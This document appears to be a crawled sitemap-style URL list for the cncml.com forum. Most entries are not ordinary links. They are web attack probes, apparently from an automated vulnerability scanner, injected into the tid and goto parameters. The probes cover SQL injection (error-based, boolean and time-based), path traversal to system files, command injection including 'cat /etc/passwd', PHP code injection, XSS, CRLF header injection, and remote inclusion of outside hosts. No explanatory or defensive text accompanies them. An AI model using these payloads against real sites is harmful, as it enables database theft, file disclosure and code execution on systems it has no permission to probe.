http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(66=11)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'T2'='T2 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(67=67)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'do'='do 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%20('Nd'%20LIKE%20'8W 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%20('vD'%20LIKE%20'vD 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%2026=26%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%2059=76%20AND%20('IB'='IB 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20OR%2068=37%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20OR%2073=73%20AND%20('WL'='WL 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%20224%20ELSE%200x28%20END))%20AND%20('FQ'='FQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(89=12)%20THEN%20224%20ELSE%200x28%20END))%20AND%20('ra'='ra 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%2066=66%20AND%20(66=66 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%2075=72%20AND%20(75=75 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%20224%20ELSE%200x28%20END))%20AND%20(56=56 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=23)%20THEN%20224%20ELSE%200x28%20END))%20AND%20(63=63 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(14=14)%20THEN%20224%20ELSE%2014*(SELECT%2014%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(14=83)%20THEN%20224%20ELSE%2014*(SELECT%2014%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(29=36)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(31=91)%20THEN%20224%20ELSE%2031*(SELECT%2031%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%20224%20ELSE%2081*(SELECT%2081%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(83=14)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(97=52)%20THEN%20224%20ELSE%2097*(SELECT%2097%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20(CASE%20WHEN%20(97=97)%20THEN%20224%20ELSE%2097*(SELECT%2097%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,IIF(85=85,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224,IIF(94=95,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=224alert(42873) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=ELT(42=21,224) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=ELT(99=99,224) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=IIF(15=15,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=IIF(41=74,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=MAKE_SET(27=64,224) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=MAKE_SET(34=34,224) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=dir 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=lastpost&tid=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=nextnewset&tid=173 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=nextnewset&tid=204 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=nextnewset&tid=218 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=nextnewset&tid=220 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=nextnewset&tid=224 0.0001 http://www.cncml.com/forum.php?mod=redirect&goto=nextnewset&tid=25 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x6C617374706F7374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(19=58)%20THEN%200x6C617374706F7374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%200x6C617374706F7374%20ELSE%2033*(SELECT%2033%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x6C617374706F7374%20ELSE%2042*(SELECT%2042%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(43=43)%20THEN%200x6C617374706F7374%20ELSE%2043*(SELECT%2043%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(78=11)%20THEN%200x6C617374706F7374%20ELSE%2078*(SELECT%2078%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(88=35)%20THEN%200x6C617374706F7374%20ELSE%2088*(SELECT%2088%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20(CASE%20WHEN%20(93=71)%20THEN%200x6C617374706F7374%20ELSE%2093*(SELECT%2093%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=ELT(14=21,0x6C617374706F7374) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=ELT(36=36,0x6C617374706F7374) 0.0001 